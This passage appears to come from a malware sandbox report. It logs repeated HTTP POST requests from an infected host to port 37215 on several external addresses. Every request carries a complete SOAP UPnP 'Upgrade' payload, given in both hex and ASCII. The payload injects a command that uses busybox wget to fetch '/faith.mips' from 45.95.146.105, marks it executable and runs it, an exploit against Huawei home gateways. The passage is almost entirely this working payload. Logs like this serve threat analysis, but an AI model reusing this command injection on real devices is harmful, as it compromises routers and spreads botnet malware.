61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:10.556534052 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:25.404529095 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:56.380604029 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.13	36878	156.224.12.75	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:54:01.645308971 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:05.692532063 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:11.836637020 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:23.872505903 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:48.188597918 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.13	36386	94.122.226.1	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:54:07.986869097 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 